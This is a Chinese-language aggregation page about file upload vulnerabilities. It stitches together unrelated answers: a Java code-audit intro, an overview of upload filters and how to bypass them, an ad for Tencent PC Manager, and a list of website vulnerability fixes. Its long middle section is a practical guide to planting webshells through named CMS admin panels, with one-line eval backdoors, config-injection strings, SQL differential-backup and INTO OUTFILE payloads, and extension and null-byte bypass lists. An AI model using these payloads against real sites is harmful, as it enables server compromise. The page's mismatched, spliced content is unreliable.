上传漏洞jsp

‘壹’ 什么不是java中易出现文件操作漏洞的方法

web安全
Java代码审计——文件操作漏洞

jinyouxin
原创
关注
0点赞·152人阅读

目录

（一）、 文件操作漏洞简介
（二） 、漏洞发现与修复案例
2.1 文件包含漏洞
2.2 文件上传漏洞
（三） 文件下载/读取漏洞
（四）．文件写入漏洞
（五）．文件解压漏洞
小结
（一）、 文件操作漏洞简介
文件操作是 Java Web 的核心功能之一，其中常用的操作就是将服务器上的文件以流的形式在本地读写，或上传到网络上，Java 中的 File 类就是对这些存储于磁盘上文件的虚拟映射。与我们在本地计算机上操作文件类似，Java 对文件的操作同样包括上传、删除、读取、写入等。Java Web 本身去实现这些功能是没有漏洞的，但是由于开发人员忽略了一些细节，导致攻击者可以利用这些细节通过文件操作 JavaWeb 本身的这一个功能，从而实现形如任意文件上传、任意文件下载/读取、任意文件删除等漏洞，有的场景下甚至可以利用文件解压实现目录穿越或拒绝服务攻击等，对服务器造成巨大的危害。
（二） 、漏洞发现与修复案例
2.1 文件包含漏洞
文件包含漏洞通常出现在由 php 编写的 Web 应用中。我们知道在 PHP 中，攻击者可以通过 PHP 中的某些包含函数，去包含一个含有攻击代码的恶意文件，在包含这个文件后，由于 PHP 包含函数的特性，无论包含的是什么类型的文件，都会将所包含的文件当作 PHP 代码去解析执行。也就是说，攻击者可能上传一个木马后缀是 txt 或者 jpg 的一句话文件，上传后利用文件包含漏洞去包含这个一句话木马文件就可以成功拿到 Shell 了。
那么 Java 中有没有类似的包含漏洞呢？回答这个问题前，我们首先来看一看Java 中包含其他文件的方式
JSP 的文件包含分为静态包含和动态包含两种：
静态包含：%@include file="test.jsp"%。
动态包含：<jsp:include page="<%=file%>"></jsp:include>、<c:import url="<%=url%>"></c:import>
由于静态包含中 file 的参数不能动态赋值，因此我目前了解的静态包含不存在包含漏洞。相反，动态包含中的 file 的参数是

‘贰’ 文件上传漏洞攻击方法有什么

文件上传漏洞是什么？怎样防御文件上传漏洞攻击？文件上传漏洞是web安全中经常利用到的一种漏洞形式。这种类型的攻击从大的类型上来说，是攻击 数据与代码分离原则 的一种攻击。
一些web应用程序中允许上传图片，文本或者其他资源到指定的位置，文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中，再通过url去访问以执行代码
造成文件上传漏洞的原因是
对于上传文件的后缀名（扩展名）没有做较为严格的限制
对于上传文件的MIMETYPE 没有做检查
权限上没有对于上传的文件的文件权限，（尤其是对于shebang类型的文件）
对于web server对于上传文件或者指定目录的行为没有做限制
下面就闲话一些文件上传漏洞的防御方式和攻击者的绕过方式
1.前端限制
function check(){
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){
return true;
}else{
alert("这不是图片！")
return false;
}
return false;
}
在表单中使用onsumbit=check()调用js函数来检查上传文件的扩展名。这种限制实际上没有任何用处，任何攻击者都可以轻而易举的破解。只能用于对于用户完全信任的情况下，很难称之为一种安全措施只能称之是一种防止用户误操作上传的措施，
反制：
随便的编辑一下页面/用burpsuite/写个小脚本就可以突破之，无须多言
2.检查扩展名
顾名思义，就是在文件被上传到服务端的时候，对于文件名的扩展名进行检查，如果不合法，则拒绝这次上传
在这里，还有一点是值得一提的，在检查扩展名是否合法的时候，有两种策略
黑名单策略，文件扩展名在黑名单中的为不合法,示例代码
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='php'||$postfix=='asp'||$postfix=='sh'){
echo "invalid file type";
return;
}
白名单策略，文件扩展名不在白名单中的均为不合法
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){
//save the file and do something next
} else {
echo "invalid file type";
return;
}
白名单策略是更加安全的，通过限制上传类型为只有我们接受的类型，可以较好的保证安全，因为黑名单我们可以使用各种方法来进行注入和突破
反制
在一些 webserver 中，存在解析漏洞
1.老版本的IIS中的目录解析漏洞，如果网站目录中有一个 /.asp/目录，那么此目录下面的一切内容都会被当作asp脚本来解析
2.老板本的IIS中的分号漏洞：IIS在解析文件名的时候可能将分号后面的内容丢弃，那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤，如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格，从而使得加上这两个东西可以突破过滤，成功上传，并且被当作php代码来执行
4.nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行
5.apache的解析漏洞，上传如a.php.rar a.php.gif 类型的文件名，可以避免对于php文件的过滤机制，但是由于apache在解析文件名的时候是从右向左读，如果遇到不能识别的扩展名则跳过，rar等扩展名是apache不能识别的，因此就会直接将类型识别为php，从而达到了注入php代码的目的
3.检查HTTP Header中的Content-Type
HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE，来识别文件类型，这个动作是由浏览器完成的，服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改，不过加上一层防护也是可以有一定效果的
反制
使用各种各样的工具（如burpsuite）强行篡改Header就可以，太容易将header中的
Content-Type: application/php
或者其他类型
改为
Content-Type: image/jpg
Content-Type: image/png
Content-Type: text/plain
等这些web程序允许的泪洗改附上常用的MIMETYPE表
text/plain（纯文本）
text/html（HTML文档）
text/javascript（js代码）
application/xhtml+xml（XHTML文档）
image/gif（GIF图像）
image/jpeg（JPEG图像）
image/png（PNG图像）
video/mpeg（MPEG动画）
application/octet-stream（二进制数据）
application/pdf（PDF文档）
application/(编程语言) 该种语言的代码
application/msword（Microsoft Word文件）
message/rfc822（RFC 822形式）
multipart/alternative（HTML邮件的HTML形式和纯文本形式，相同内容使用不同形式表示）
application/x-www-form-urlencoded（POST方法提交的表单）
multipart/form-data（POST提交时伴随文件上传的表单）
4.分析文件头内容来检查文件类型
与方法2不同，还有一种检查类型的方式是使用对于文件内容的验证机制，这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。可以通过比如php的exif_imagetype()函数，一个通过这种方法来过滤的示例代码如下：
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
return;
}
也可以自己编写函数来进行识别，图片文件通常有称作幻数的头字节，我们来看一下几种图片文件的幻数：
（注意！下面是二进制而不是文本格式的数据）
JPG
FF D8 FF E0 00 10 4A 46 49 46
GIF
47 49 46 38 39 61
(相当于文本的GIF89a)
PNG
89 50 4E 47
通过检查头几位字节，可以分辨是否是图片文件
如果是其他类型的二进制文件，也有响应的头字节，如下表
反制
给上传脚本加上相应的幻数头字节就可以，php引擎会将
（一般不限制图片文件格式的时候使用GIF的头比较方便，因为全都是文本可打印字符。）
GIF89a
do_something();
?>
如果是其他类型的二进制文件，也有响应的头字节，如下表
格式
文件头
TIFF (tif)
49492A00
Windows Bitmap (bmp)
424D
CAD (dwg)
41433130
Adobe Photoshop (psd)
38425053
Rich Text Format (rtf)
7B5C727466
MS Word/Excel (xls.or.doc)
D0CF11E0
MS Access (mdb)
5374616E64617264204A
ZIP Archive (zip)，
504B0304
RAR Archive (rar)，
7221
Wave (wav)，
57415645
AVI (avi)，
41564920
Real Media (rm)，
2E524D46
MPEG (mpg)，
000001BA
MPEG (mpg)，
000001B3
Quicktime (mov)，
6D6F6F76
Adobe Acrobat (pdf)，
255044462D312E
Windows Media (asf)，
3026B2758E66CF11
MIDI (mid)，
4D546864
5.限制Web Server对于特定类型文件的行为
导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码，一般来说，用户上传的内容都会被存储到特定的一个文件夹下，比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行，我们可以限制web server对于特定文件夹的行为。
大多数服务端软件都可以支持用户对于特定类型文件的行为的自定义，以Apache为例：
在默认情况下，对与 .php文件Apache会当作代码来执行，对于 html,css,js文件，则会直接由HTTP Response交给客户端程序对于一些资源文件，比如txt，doc，rar等等，则也会以文件下载的方式传送的客户端。我们希望用户上传的东西仅仅当作资源和数据而不能当作代码
因此可以使用服务器程序的接口来进行限制
以Apache为例,我们可以利用 .htaccess 文件机制来对web server行为进行限制
在这里插一句，如果不是专门的文件下载目录，请务必关掉文件夹浏览的权限，以防止嗅探和可能的越权，也是使用.htaccess文件，在其中加上一句
Options All -Indexes
即可。
禁止脚本执行有多种方式可以实现，而且分别有不同的效果，我们分别来看一下
1.指定特定扩展名的文件的处理方式,原理是指定Response的Content-Type可以加上如下几行
AddType text/plain .pl .py .php
这种情况下，以上几种脚本文件会被当作纯文本来显示出来，你也可以换成其他的Content-Type
2.如果要完全禁止特定扩展名的文件被访问，用下面的几行
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi识别
在这种情况下，以上几种类型的文件被访问的时候，会返回403 Forbidden的错误
3.也可以强制web服务器对于特定文件类型的处理，与第一条不同的是， 下面的方法直接强行让apache将文件识别为你指定的类型，而第一种是让浏览器
ForceType text/plain
看代码就可以很明白的知道，符合上面正则的全部被认为是纯文本，也可以继续往里面加入其他类型。
4.只允许访问特定类型的文件
order deny,allow
deny from all
在一个上传图片的文件夹下面，就可以加上这段代码，使得该文件夹里面只有图片扩展名的文件才可以被访问，其他类型都是拒绝访问。
这又是一个白名单的处理方案
永远记得，白名单是最有保障的安全措施

可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传，覆盖掉服务器上的文件，来定义文件类型和执行权限如果做到了这一点，将获得相当大的权限。

‘叁’ 如何从后台得到webshell

注意：如何进入后台，不是本文讨论范围，其具体方法就不说了，靠大家去自己发挥。此文参考了前人的多方面的资料和信息，在此一并表示感谢。

一、直接上传获得webshell

这种对php和jsp的一些程序比较常见，MolyX BOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文件url应该是

，前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名，bo-blog后台可以可以直接上传.php文件，上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统)，因过滤上传文件不严，导致用户可以直接上传webshell到网站任意可写目录中，从而拿到网站的管理员控制权限。

二、添加修改上传类型

现在很多的脚本程序上传模块不是只允许上传合法文件类型，而大多数的系统是允许添加上传类型，bbsxp后台可以添加asaasP类型，ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp，可以添加.aspasp的文件类型来上传获得webshell。php系统的后台，我们可以添加.php.g1f的上传类型，这是php的一个特性,最后的哪个只要不是已知的文件类型即可，php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是：在上传类型中增加asp ，注意，asp后面是有个空格的，然后在前台上传ASP马，当然也要在后面加个空格！

三、利用后台管理功能写入webshell

上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0，还有leadbbs2.88等，直接在后台修改配置文件，写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是：添加一个新的友情链接，在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符，http:\网站incIncHtmBoardLink.asp就是我们想要的shell。

四、利用后台管理向配置文件写webshell

利用"""":""//"等符号构造最小马写入程序的配置文件，joekoe论坛，某某同学录，沸腾展望新闻系统，COCOON Counter统计程序等等，还有很多php程序都可以，COCOON Counter统计程序举例，在管理邮箱处添上[email protected]":eval request(chr (35))//, 在配制文件中就是webmail="[email protected]":eval request(chr(35))//"，还有一种方法就是写上 [email protected]"%＞＜%eval request(chr(35))%＞＜%'，这样就会形成前后对应，最小马也就运行了。＜%eval request(chr(35))%＞可以用lake2的eval发送端以及最新的2006 客户端来连，需要说明的是数据库插马时候要选前者。再如动易2005，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话马"%＞＜%execute request("l")%＞＜%'，保 存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。


五、利用后台数据库备份及恢复获得webshell

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp木马文件头，修改gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。

六、利用数据库压缩功能

可以将数据的防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上＜%eval request (chr(35))%＞, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。

七、asp+mssql系统

这里需要提一点动网mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片，然后记住其上传路径。写一个本地提交的表单，代码如下：

＜form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"＞

＜p＞已上传文件的位置：＜input name="Dbpath" type="text" size="80"＞＜/p＞

＜p＞要复制到的位置：＜input name="backpath" type="text" size="80"＞＜/p＞

＜p＞＜input type="submit" value="提交"＞＜/p＞ ＜/form＞

另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里，想要备份的WebShell的相对路径填写在“要复制到的位置”那里，提交就得到我们可爱的WebShell了，恢复代码和此类似，修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台，动网的数据库还原和备份是个摆设，不能执行sql命令备份webshell，只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell，一般后台是显示了绝对路径，只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码，利用动网7.0的注入漏洞可以用差异备份一个webshell，可以用利用上面提到的方法，将conn.asp文件备份成.txt文件而获得库名。

差异备份的主要代码：

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--

;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--

;insert into heige(cmd) values()--

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--

这段代码中，0x626273是要备份的库名bbs的十六进制，可以是其他名字比如bbs.bak; 是＜%execute request("l")%＞的十六进制，是lp最小马；0x643A5C7765625C312E617370是d:web1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell，唯一的不足就是备份后的文件过大，如果备份数据库中有防下载的的数据表，或者有错误的asp代码，备份出来的webshell就不会成功运行，利用差异备份是成功率比较高的方法，并且极大的减少备份文件的大小。

八、php+mysql系统

后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。在mysql操作里输入select from mysql.user into outfile '路径’ 就可以获得了一个＜?eval($_POST[a]);?＞的最小马' 是我们＜?eval($_POST[a]);?＞的十六进制，这种方法对phpmyadmin比较普遍，先利用phpmyadmin的路径泄露漏洞，比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php。

就可以暴出路径，php环境中比较容易暴出绝对路径：）。提一点的是遇到是mysql在win系统下路径应该这样写d:\wwwroot\a.php。下面的方法是比较常用的一个导出webshell的方法，也可以写个vbs添加系统管理员的脚本导出到启动文件夹，系统重起后就会添加一个管理员帐号

CREATE TABLE a(cmd text NOT NULL)

INSERT INTO a(cmd) VALUES('＜?fputs(fopen("./a.php","w"),"＜?eval($_POST[a]);?＞")?＞')

select cmd from a into outfile '路径/b.php'

DROP TABLE IF EXISTS a

访问b.php就会生成一个＜?eval($_POST[a]);?＞的最小马。

如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码：

＜?

$sa = fopen("./up/saiy.php","w");

fwrite($sa,"＜?eval($_POST[a]);?"."＞");

fclose($sa);

?＞

就会在up目录下生成文件名为saiy.php内容为＜?eval($_POST[a]);?＞的最小php木马， 最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码＜?fputs(fopen("./a.php","w"),"＜?eval($_POST[a]);?＞")?＞ 将会在当前目录生成一个a.php的最小马。

九、phpwind论坛从后台到webshell的三种方式

方式1 模板法

进入后台， 风格模版设置 ，在随便一行写代码，记住，这代码必须顶着左边行写，代码前面不可以有任何字符。

EOT;

eval($a);

print ＜＜＜EOT

而后得到一个shell为http://网站/bbs/index.php。

方始2 脏话过滤法

进入安全管理 ◇ 不良词语过滤。新增不良词语写 a’]=’aa’;eval($_POST[’a’]);//

替换为那里可以随意写，而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。

方式3 用户等级管理

新建立会员组，头衔你可以随便写，但是千万不要写单双引号特殊符号，升级图片号写a’;eval($_POST[’a’]);// ，升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。

以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。

十、也可以利用网站访问计数系统记录来获得webshell

最明显的就是某私服程序内的阿江计数程序，可以通过http://网站/stat.asp?style=textreferer= 代码内容&screenwidth=1024直接提交， 即可把代码内容直接插入到计数系统的数据库中，而此系统默认数据库为count#.asa，我们可以通过http://网站/count%23.asa访问得到webshell，由于阿江计数程序过滤了%和+，将最小马改成＜SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT＞eval(Request("1"))＜/SCRIPT＞替换代码内容处提交，然后用lake2的eval客户端来提交，值得一提的是如果进到计数后台，可以清理某时某刻的数据，一旦插入asp木马失败，可以清理数据库再次操作。

‘肆’ 文件上传漏洞有哪些挖掘思路

文件上传漏洞作为获取服务器权限最快的方式，虽然相关资料很多，但很多人对上传校验方式、如何针对性绕过检测、哪种上传和解析的场景会产生危害等还是比较模糊。本文作一些阐述，然后补充一些除了上传webshell的其他非常规挖掘姿势，包括XSS、重定向、Dos、CSRF等等。
1、基础知识：
要深入了解文件上传，必须了解上传属性、常见文件的结构、图形处理函数等内容。
1） 报文特点：
观察文件上传报文的特点：
Header中Content-Type特征有二：
1.multipart/form-data（form表单的enctype属性，规定为二进制数据）
2.boundary字符串（作用为分隔符，以区分POST数据）
POST内容特征有五：
1.Content-Disposition：form-data
2. name：input表单名
3.filename：文件名
4.Content-Type：定义文件的类型和网页的编码，决定浏览器将以什么形式、什么编码读取这个文件；
5.boundary：Content-Type的值前面加了两个---

2） 常见校验规则
现存常用的上传校验规则无非下面几类：
1.客户端javascript校验（后缀名）
2.文件头content-type字段校验（image/gif）：附带参数
4.后缀名黑/白名单校验：扩展名
5.文件内容头校验：GIF89a
6.文件内容校验：文件信息，二次渲染
7.自定义正则校验
3）一个澄清
文件上传和文件解析是两个过程，即使我们上传的是php文件，但解析为图片，访问php文件会显示“图片无法显示”；或者我们上传的是jpg文件，但里面混有shell脚本，若被解析为php文件也会执行；又或者上传处没法绕过检测，只能上传jpg文件，但在其他功能处存在文件包含等功能，仍可执行成功。
还是回到安全的本质，上传是“输入”，那文件解析就是“输出”，任何漏洞挖掘都需要结合输入+输出。

2、绕过技巧：
这里汇总一些实战中较常用的绕过技巧：
1）后缀名黑名单
以下替换后缀也可以解析为shell：
php：.phtml,.phpt,.php3,.php3p
asp：.aspx，asmx，ashx，web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系统的文件命名规则：
.php.,.php空格，.php:1.jpg,.php::$DATA等
这些后缀的文件会被windows系统自动去掉不符合规则符号后面的内容，从而只留下.php。
2）后缀名白名单
除了结合各种服务器解析特性，较常用的是Null Byte Injection空字节注入，插入空字节值的原因是某些应用程序服务器脚本语言使用c/c++库来检查文件名和内容。在C/C ++中，一行以/00结尾或称为NullByte。因此，只要解释器在字符串的末尾看到一个空字节，就会停止读取，认为它已经到达字符串的末尾。
如，我们将要上传的Happy.jpg的名称更改为Happy.phpA.jpg，然后上传文件，在Burp中捕获请求，切换到Hex视图。在字符串视图中找到文件名。查看相应的Hex表，并将41（'A'）替换为00（为空字节）。结果字符串变为Happy.php（空）.jpeg。由于php解释器在内部使用C语言库，它将停止读取Happy.php后的文件名，文件将保存为Happy.php。
另一种绕过白名单的方法是使用双后缀：shell.php.jpg。

‘伍’ 请教各位高人，如何解决jsp版ewebeditor的上传漏洞

建议腾讯电脑管家修复
1）腾讯电脑管家会智能匹配电脑系统，针对性推送适合系统的高危漏洞补丁，而其他安全软件可能推送非高危漏洞补丁；
2）腾讯电脑管家推送最近发布的漏洞补丁包，而其他安全软件可能提示已过期的漏洞补丁（可以通过查看各安全软件的补丁发布日期得知）。
3）腾讯电脑管家还可以定期自动删除补丁包，清理电脑空间
打开腾讯电脑管家——主菜单——修复漏洞——定期删除补丁包（默认勾选状态）

‘陆’ 如何修复xheditor，jsp;jpg文件上传成功漏洞

1.必须看目标站是用什么语言编写的，asp，asp.net，php，jsp，cgi等等
2.如果目标是asp，你直接传【假如可以直接传】也没用的，服务器不支持是没办法的
3.服务器必须安装了java，支持jsp才可以的

‘柒’ 网站建设中出现的安全漏洞有哪些

网站建设中出现的安全漏洞：
1、明文传输
问题描述：对系统用户口令保护不足，攻击者可以利用攻击工具，从网络上窃取合法的用户口令数据。
修改建议：传输的密码必须加密。
注意：所有密码要加密。要复杂加密。不要用或md5。
2、sql注入
问题描述：攻击者利用sql注入漏洞，可以获取数据库中的多种信息，如：管理后台的密码，从而脱取数据库中的内容(脱库)。
修改建议：对输入参数进行过滤、校验。采用黑白名单方式。
注意：过滤、校验要覆盖系统内所有的参数。
3、跨站脚本攻击
问题描述：对输入信息没有进行校验，攻击者可以通过巧妙的方法注入恶意指令代码到网页。这种代码通常是Java，但实际上，也可以包括Java、VB、ActiveX、Flash或者普通的HTML。攻击成功之后，攻击者可以拿到更高的权限。
修改建议：对用户输入进行过滤、校验。输出进行HTML实体编码。
注意：过滤、校验、HTML实体编码。要覆盖所有参数。
4、文件上传漏洞
问题描述：没有对文件上传限制，可能会被上传可执行文件，或脚本文件。进一步导致服务器沦陷。
修改建议：严格验证上传文件，防止上传asp、aspx、asa、php、jsp等危险脚本。同事最好加入文件头验证，防止用户上传非法文件。
5、敏感信息泄露
问题描述：系统暴露内部信息，如：网站的绝对路径、网页源代码、SQL语句、中间件版本、程序异常等信息。
修改建议：对用户输入的异常字符过滤。屏蔽一些错误回显，如自定义404、403、500等。
6、命令执行漏洞
问题描述：脚本程序调用如php的system、exec、shell_exec等。
修改建议：打补丁，对系统内需要执行的命令要严格限制。
7、CSRF(跨站请求伪造)
问题描述：使用已经登陆用户，在不知情的情况下执行某种动作的攻击。
修改建议：添加token验证。时间戳或这图片验证码。
8、SSRF漏洞
问题描述：服务端请求伪造。
修改建议：打补丁，或者卸载无用的包
9、默认口令、弱口令
问题描述：因为默认口令、弱口令很容易让人猜到。
修改建议：加强口令强度不适用弱口令
注意：口令不要出现常见的单词。如：root123456、admin1234、qwer1234、p ssw0rd等。